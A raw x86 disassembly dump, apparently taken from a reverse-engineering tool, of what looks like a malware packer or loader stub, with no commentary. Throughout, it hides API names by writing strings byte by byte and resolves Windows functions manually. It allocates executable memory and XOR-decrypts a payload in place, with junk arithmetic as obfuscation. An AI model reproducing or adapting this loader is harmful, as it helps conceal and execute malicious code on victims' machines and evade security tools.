mov byte [0x10107e49], 0x65
mov byte [0x10107765], 0x73
mov byte [0x10107e63], 0x72
mov byte [0x10107db2], 0x6b
mov byte [0x101073d4], 0x41
mov byte [0x10107fcd], 0x41
mov byte [0x10107fae], 0x33
mov byte [0x101077f2], 0x4d
mov byte [0x10107c85], 0x47
mov byte [0x10107419], 0x61
mov byte [0x10107b60], 0x49
mov dword [0x10103e60], ebx
mov byte [0x10107c70], 0x65
mov byte [0x10107740], 0x65
mov byte [0x10107dfa], bl
mov dword [0x101062e4], ebx
mov byte [0x1010767e], 0x63
push 0x10107ffa
mov byte [0x10107e66], 0x63
mov byte [0x101075dd], 0x65
mov byte [0x10107f5f], 0x74
mov byte [0x1010775c], 0x74
mov byte [0x10107fed], 0x4f
mov byte [0x1010776a], 0x66
call sub.KERNEL32.dll_LoadLibraryA
mov dword [esp + 0x48], eax
cmp dword [0x10107300], ebx
jne 0x100412a0
push 0x101074c5
push eax
call sub.KERNEL32.dll_GetProcAddress
push 0x40
push 0x3000
push dword [0x10106aec]
push ebx
call eax
mov dword [0x10107300], eax
lea ecx, [eax + 0x55d1]
add eax, 0x25ef4
xor eax, dword [ecx]
mov esi, 0xdcceccb4
xor eax, 0xdcce9238
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d4a1]
add eax, 0xa55c4
xor eax, dword [ecx]
push 0x10107fa8
xor eax, 0xdcc69908
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x98d1]
add eax, 0x27db0
xor eax, dword [ecx]
xor eax, 0xdcceb17c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10106ae8]
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x1c80b]
add eax, 0x20070
xor eax, dword [ecx]
xor eax, 0xdcceccbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb423]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, 0x5c01dc10
sub eax, dword [0x10105368]
mov dword [0x10105368], eax
mov eax, dword [0x101062e4]
imul eax, edi
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb1d0]
add eax, 0x250c8
xor eax, dword [ecx]
xor eax, 0xdcce9c04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33dfc]
add eax, 0xa881
xor eax, dword [ecx]
xor eax, 0xdccc644d
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a094]
add eax, 0x32afc
xor eax, dword [ecx]
xor eax, 0xdccfe630
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e91a]
add eax, 0x343a8
xor eax, dword [ecx]
xor eax, 0xdccf8f64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x193de]
add eax, 0x19cf2
xor eax, dword [ecx]
xor eax, 0xdccd503e
mov dword [ecx], eax
call sub.KERNEL32.dll_LoadLibraryA
mov ebp, eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ccfc]
add eax, 0x1cd48
xor eax, dword [ecx]
push 0x10107f9d
xor eax, 0xdccd0184
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b3c]
add eax, 0x2493c
xor eax, dword [ecx]
xor eax, 0xdcce85f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x343f4]
add eax, 0x343c4
xor eax, dword [ecx]
xor eax, 0xdccf8f08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25e90]
add eax, 0x4cb0
xor eax, dword [ecx]
xor eax, 0xdccc807c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa461c]
add eax, 0x8fc20
xor eax, dword [ecx]
xor eax, 0xdcc430ec
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
xor eax, dword [0x10105368]
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xd60a]
add eax, 0x2023c
xor eax, dword [ecx]
xor eax, 0xdccecef0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2d58]
add eax, 0x23038
xor eax, dword [ecx]
xor eax, 0xdccefcf4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3fd4]
add eax, 0x77850
xor eax, dword [ecx]
xor eax, 0xdccbb49c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33acc]
add eax, 0x33ad0
xor eax, dword [ecx]
xor eax, 0xdccff61c
mov dword [ecx], eax
mov eax, dword [0x10105368]
add eax, eax
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bb97]
add eax, 0x36a60
xor eax, dword [ecx]
xor eax, 0xdccfa6ac
mov dword [ecx], eax
call sub.KERNEL32.dll_LoadLibraryA
mov dword [esp + 0x34], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb546]
add eax, 0xa5a10
xor eax, dword [ecx]
xor eax, 0xdcc696dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24ee0]
add eax, 0x5040
xor eax, dword [ecx]
xor eax, 0xdccc9c8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a87c]
add eax, 0xa508c
xor eax, dword [ecx]
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x1010536c]
and eax, 0x246b470
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa478c]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbbd8]
add eax, 0x20280
xor eax, dword [ecx]
xor eax, 0xdccece4c
mov dword [ecx], eax
mov eax, dword [0x10105368]
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240dc]
add eax, 0x23b70
xor eax, dword [ecx]
xor eax, 0xdccef7bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x179b8]
add eax, 0x179dc
xor eax, dword [ecx]
xor eax, 0xdccdb510
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33074]
add eax, 0x33080
xor eax, dword [ecx]
xor eax, 0xdccffc4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3349]
add eax, 0x1f52b
xor eax, dword [ecx]
xor eax, 0xdccd39e7
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17554]
add eax, 0xa4bf0
xor eax, dword [ecx]
xor eax, 0xdcc6873c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xffda]
add eax, 0x202e8
xor eax, dword [ecx]
xor eax, 0xdccece24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc569]
add eax, 0x289a8
xor eax, dword [ecx]
xor eax, 0xdcce4564
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32bc0]
add eax, 0x32bc4
xor eax, dword [ecx]
xor eax, 0xdccfe708
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17e90]
add eax, 0xa4c04
xor eax, dword [ecx]
xor eax, 0xdcc680c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x101062e4]
mov dword [esp + 0x20], ecx
lea ecx, [eax + 0xb1cb]
add eax, 0xa5a14
xor eax, dword [ecx]
mov edi, 0xdccfe364
xor eax, 0xdcc696d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13e6a]
add eax, 0x258b4
xor eax, dword [ecx]
mov ebx, 0xdccefd14
xor eax, 0xdcce9478
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25784]
add eax, 0x42b0
xor eax, dword [ecx]
xor eax, 0xdccc8e7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x58a9]
add eax, 0x1f54b
xor eax, dword [ecx]
xor eax, 0xdccd3987
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xec3f]
add eax, 0x202a4
xor eax, dword [ecx]
xor eax, 0xdccece68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9eec]
add eax, 0x20108
xor eax, dword [ecx]
xor eax, 0xdccecdc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3362c]
add eax, 0x337a8
xor eax, dword [ecx]
xor eax, 0xdccffb64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x337f4]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4af0]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4ab8]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24050]
add eax, 0x23e74
xor eax, dword [ecx]
xor eax, 0xdccef2b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19cd0]
add eax, 0x33ab0
xor eax, dword [ecx]
xor eax, 0xdccff67c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b80]
add eax, 0xa55bc
xor eax, dword [ecx]
xor eax, 0xdcc69970
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5637]
add eax, 0x25f14
xor eax, dword [ecx]
push 0x10107f70
xor eax, 0xdcce93d8
mov dword [ecx], eax
mov eax, dword [0x10105abc]
or dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8d87]
add eax, 0x27c94
xor eax, dword [ecx]
xor eax, 0xdcceb058
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c78]
add eax, 0x27390
xor eax, dword [ecx]
xor eax, 0xdccebf5c
mov dword [ecx], eax
mov eax, dword [0x101062e0]
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2529c]
add eax, 0xf070
xor eax, dword [ecx]
xor eax, 0xdccc3cbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x361fc]
add eax, 0x237b8
xor eax, dword [ecx]
xor eax, 0xdccefb74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24ecc]
add eax, 0x16f4b
xor eax, dword [ecx]
xor eax, 0xdccda387
mov dword [ecx], eax
call sub.KERNEL32.dll_LoadLibraryA
mov dword [esp + 0x38], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa806]
add eax, 0xa59e0
xor eax, dword [ecx]
xor eax, 0xdcc6952c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x101062e0]
mov dword [0x10105368], ecx
lea ecx, [eax + 0xacad]
add eax, 0x27e98
xor eax, dword [ecx]
xor eax, 0xdcceb254
mov dword [ecx], eax
mov eax, dword [0x10105abc]
add eax, 0xb7208cb3
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13fe9]
add eax, 0x20048
xor eax, dword [ecx]
xor eax, 0xdccecc84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b039]
add eax, 0xa51e0
xor eax, dword [ecx]
xor eax, 0xdcc69d2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x104d8]
add eax, 0x27c98
xor eax, dword [ecx]
xor eax, 0xdcceb054
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36960]
add eax, 0x36538
xor eax, dword [ecx]
xor eax, 0xdccfa9f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d256]
add eax, 0xa55c0
xor eax, dword [ecx]
push 0x10107af5
xor eax, 0xdcc6990c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x136d7]
add eax, 0x32914
xor eax, dword [ecx]
push ebp
xor eax, 0xdccfe5d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x179c8]
add eax, 0x179fc
xor eax, dword [ecx]
xor eax, 0xdccdb530
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb86b]
add eax, 0x28fc0
xor eax, dword [ecx]
xor eax, 0xdcce430c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4458]
add eax, 0x2654c
xor eax, dword [ecx]
xor eax, 0xdccea980
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4d49]
add eax, 0x25abc
xor eax, dword [ecx]
xor eax, 0xdcce9670
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b38]
add eax, 0x24948
xor eax, dword [ecx]
xor eax, 0xdcce8584
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14a8]
add eax, 0x145f
xor eax, dword [ecx]
xor eax, 0xdcccd893
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32dc0]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov edi, dword [0x10107300]
add edi, 0x20200
call sub.KERNEL32.dll_GetProcAddress
xor eax, dword [edi]
xor eax, 0xcccf94c2
mov dword [edi], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f81b]
add eax, 0x342c8
xor eax, dword [ecx]
mov edi, 0xdccebb84
xor eax, 0xdccf8e04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18b91]
add eax, 0x361f0
xor eax, dword [ecx]
xor eax, 0xdccfad3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa40e4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2906c]
add eax, 0xf070
xor eax, dword [ecx]
xor eax, 0xdccc3cbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4998]
add eax, 0x25ff8
xor eax, dword [ecx]
xor eax, 0xdcce9334
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa296]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb0d2]
add eax, 0x27f3c
xor eax, dword [ecx]
xor eax, 0xdcceb3f0
mov dword [ecx], eax
mov ecx, dword [0x10107300]
mov edx, ecx
mov eax, dword [esp + 0x18]
xor edx, eax
mov dword [0x10103e60], edx
lea edx, [ecx + 0x1c2fd]
add ecx, 0xa5568
xor ecx, dword [edx]
xor ecx, 0xdcc699a4
mov dword [edx], ecx
mov ecx, dword [0x1010536c]
or ecx, eax
mov dword [0x10105abc], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xc096]
add ecx, 0x252b8
xor ecx, dword [edx]
xor ecx, 0xdcce9e74
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa0b7]
add ecx, 0xa5a08
xor ecx, dword [edx]
xor ecx, 0xdcc696c4
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1d459]
add ecx, 0x36060
xor ecx, dword [edx]
xor ecx, 0xdccfacac
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x34498]
add ecx, 0x344a0
xor ecx, dword [edx]
xor ecx, 0xdccf886c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa3c48]
add ecx, 0x273f8
xor ecx, dword [edx]
xor ecx, 0xdccebf34
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x32f84]
add ecx, 0x32fa8
xor ecx, dword [edx]
xor ecx, 0xdccfe364
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1e5b4]
add ecx, 0x20208
xor ecx, dword [edx]
xor ecx, 0xdccecec4
mov dword [edx], ecx
mov ecx, dword [0x1010536c]
xor ecx, 0x7357e8eb
mov dword [0x101062e4], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x4a9b]
add ecx, 0x20244
xor ecx, dword [edx]
xor ecx, 0xdccece88
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x13485]
add ecx, 0x32a0c
xor ecx, dword [edx]
xor ecx, 0xdccfe6c0
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1f89b]
add ecx, 0x231cc
xor ecx, dword [edx]
xor ecx, 0xdccefd00
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1332d]
add ecx, 0x23158
xor ecx, dword [edx]
xor ecx, 0xdccefd94
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x11408]
add ecx, 0x20260
xor ecx, dword [edx]
xor ecx, 0xdcceceac
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xed1a]
add ecx, 0x20300
xor ecx, dword [edx]
xor ecx, 0xdccecfcc
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x14ead]
add ecx, 0x20d44
xor ecx, dword [edx]
xor ecx, 0xdccec188
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa3ab0]
add ecx, 0x276d8
xor ecx, dword [edx]
xor ecx, 0xdcceba14
mov dword [edx], ecx
mov ecx, dword [0x10107300]
mov edx, ecx
imul edx, ecx
mov dword [0x10103e64], edx
lea edx, [ecx + 0x11c16]
add ecx, 0x25388
xor ecx, dword [edx]
xor ecx, 0xdcce9f44
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1ba66]
add ecx, 0x3696c
xor ecx, dword [edx]
xor ecx, 0xdccfa5a0
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xfd7a]
add ecx, 0x20078
xor ecx, dword [edx]
xor ecx, esi
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1201d]
add ecx, 0x20078
xor ecx, dword [edx]
xor ecx, esi
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xbe89]
add ecx, 0x1f50b
xor ecx, dword [edx]
xor ecx, 0xdccd39c7
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x3620c]
add ecx, 0x23760
xor ecx, dword [edx]
xor ecx, 0xdccefbac
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa3d68]
add ecx, 0x271f8
xor ecx, dword [edx]
xor ecx, 0xdccebd34
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa4758]
add ecx, 0x26188
xor ecx, dword [edx]
xor ecx, 0xdccead44
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x28fd4]
add ecx, 0x12fc0
xor ecx, dword [edx]
xor ecx, 0xdccde30c
mov dword [edx], ecx
mov ecx, dword [0x10103e60]
or ecx, 0x5f9679aa
mov dword [0x10105abc], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1278a]
add ecx, 0x123e0
xor ecx, dword [edx]
xor ecx, 0xdccdef2c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
xor eax, dword [0x10105abc]
lea edx, [ecx + 0x370a8]
add ecx, 0x31f10
xor ecx, dword [edx]
xor ecx, 0xdccfd3dc
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x33fb8]
add ecx, 0x33fa0
xor ecx, dword [edx]
xor ecx, 0xdccff36c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x16a6c]
add ecx, 0x21008
xor ecx, dword [edx]
xor ecx, 0xdccedcc4
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x9a07]
add ecx, 0x20030
xor ecx, dword [edx]
xor ecx, 0xdcceccfc
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1177c]
add ecx, 0xa5a3c
xor ecx, dword [edx]
xor ecx, 0xdcc696f0
mov dword [edx], ecx
mov ecx, dword [0x10105abc]
and ecx, 0x38f52464
mov dword [0x101062e4], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa3af8]
add ecx, 0x27658
xor ecx, dword [edx]
xor ecx, 0xdcceba94
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1841c]
add ecx, 0xa4c10
xor ecx, dword [edx]
xor ecx, 0xdcc680dc
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x11993]
add ecx, 0xa59ef
xor ecx, dword [edx]
xor ecx, 0xdcc69523
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x13ebc]
add ecx, 0x202b4
xor ecx, dword [edx]
xor ecx, 0xdccece78
mov dword [edx], ecx
mov ecx, dword [0x10107300]
and dword [0x10105368], ecx
lea edx, [ecx + 0x63c3]
add ecx, 0xa5a00
xor ecx, dword [edx]
xor ecx, 0xdcc696cc
mov dword [edx], ecx
mov ecx, eax
imul ecx, ecx, 0x84ce4512
mov dword [0x1010536c], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x490c]
add ecx, 0x202b4
xor ecx, dword [edx]
xor ecx, 0xdccece78
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x3714c]
add ecx, 0x29158
xor ecx, dword [edx]
xor ecx, 0xdcce5d94
mov dword [edx], ecx
mov edx, dword [0x101062e0]
mov ecx, dword [0x10105ab8]
add ecx, edx
mov dword [0x10103e64], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1a573]
add ecx, 0x36320
xor ecx, dword [edx]
xor ecx, 0xdccfafec
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x1834e]
add ecx, 0x3606c
xor ecx, dword [edx]
xor ecx, 0xdccfaca0
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x32c74]
add ecx, 0x36cfc
xor ecx, dword [edx]
xor ecx, 0xdccfa030
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x96d4]
add ecx, 0x200f0
xor ecx, dword [edx]
xor ecx, 0xdccecc3c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xe516]
add ecx, 0xa49f4
xor ecx, dword [edx]
xor ecx, 0xdcc68538
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa354]
add ecx, 0xa5a08
xor ecx, dword [edx]
xor ecx, 0xdcc696c4
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa3a6c]
add ecx, 0x27748
xor ecx, dword [edx]
xor ecx, edi
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x338bc]
add ecx, 0x33918
xor ecx, dword [edx]
push 0x10107ad9
xor ecx, 0xdccff5d4
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x25fb8]
add ecx, 0x5b30
xor ecx, dword [edx]
push ebp
xor ecx, 0xdccc97fc
mov dword [edx], ecx
sub eax, dword [0x10105abc]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1db9c]
add eax, 0x20164
xor eax, dword [ecx]
xor eax, 0xdccecda8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb0e1]
add eax, 0x27f3c
xor eax, dword [ecx]
xor eax, 0xdcceb3f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201f8
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
xor ecx, 0xcccf9b20
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16b65]
add eax, 0x21808
xor eax, dword [ecx]
xor eax, 0xdcced4c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [esp + 0x20]
mov dword [0x10105abc], ecx
mov ecx, dword [0x101062e0]
imul ecx, ecx, 0x1b8eb1e4
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0x12176]
add eax, 0xa5a48
xor eax, dword [ecx]
xor eax, 0xdcc69684
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb85e]
add eax, 0x28648
xor eax, dword [ecx]
xor eax, 0xdcce4a84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3bec]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10105abc]
or eax, 0x5053c376
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x85fe]
add eax, 0x27ba4
xor eax, dword [ecx]
xor eax, 0xdcceb768
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1592c]
add eax, 0x14731
xor eax, dword [ecx]
xor eax, 0xdccd8bfd
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10105abc]
mov dword [0x10103e60], ecx
lea ecx, [eax + eax]
mov dword [esp + 0x14], ecx
lea ecx, [eax + 0x51c6]
add eax, 0xa59f4
xor eax, dword [ecx]
xor eax, 0xdcc69538
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20eb0]
add eax, 0x20ea0
xor eax, dword [ecx]
xor eax, 0xdccec26c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x41ea]
add eax, 0x2578c
xor eax, dword [ecx]
xor eax, 0xdcce9b40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3334c]
add eax, 0x32c74
xor eax, dword [ecx]
xor eax, 0xdccfe0b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16f7a]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36a94]
add eax, 0x1dafb
xor eax, dword [ecx]
xor eax, 0xdccd1637
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e578]
add eax, 0xa8f34
xor eax, dword [ecx]
xor eax, 0xdcc643f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xac13]
add eax, 0x27b44
xor eax, dword [ecx]
xor eax, 0xdcceb788
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b7]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf0a0]
add eax, 0xa5a30
xor eax, dword [ecx]
xor eax, 0xdcc696fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xd148]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5c42]
add eax, 0x202b4
xor eax, dword [ecx]
xor eax, 0xdccece78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33d40]
add eax, 0x1c6ae
xor eax, dword [ecx]
xor eax, 0xdccd0a62
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370d4]
add eax, 0x319a0
xor eax, dword [ecx]
xor eax, 0xdccfd56c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2052]
add eax, 0x24ee4
xor eax, dword [ecx]
xor eax, 0xdcce8228
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe1db]
add eax, 0xa5a38
xor eax, dword [ecx]
xor eax, 0xdcc696f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4a00]
add eax, 0x281c8
xor eax, dword [ecx]
xor eax, 0xdcce4d04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3f19]
add eax, 0x2575c
xor eax, dword [ecx]
xor eax, 0xdcce9b90
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x114ad]
add eax, 0x20370
xor eax, dword [ecx]
xor eax, 0xdccecfbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c029]
add eax, 0x33d08
xor eax, dword [ecx]
xor eax, 0xdccff1c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254b4]
add eax, 0x3480
xor eax, dword [ecx]
xor eax, 0xdcccf84c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370cc]
add eax, 0x31ba0
xor eax, dword [ecx]
xor eax, 0xdccfd76c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4698]
add eax, 0x263a0
xor eax, dword [ecx]
xor eax, 0xdcceaf6c
mov dword [ecx], eax
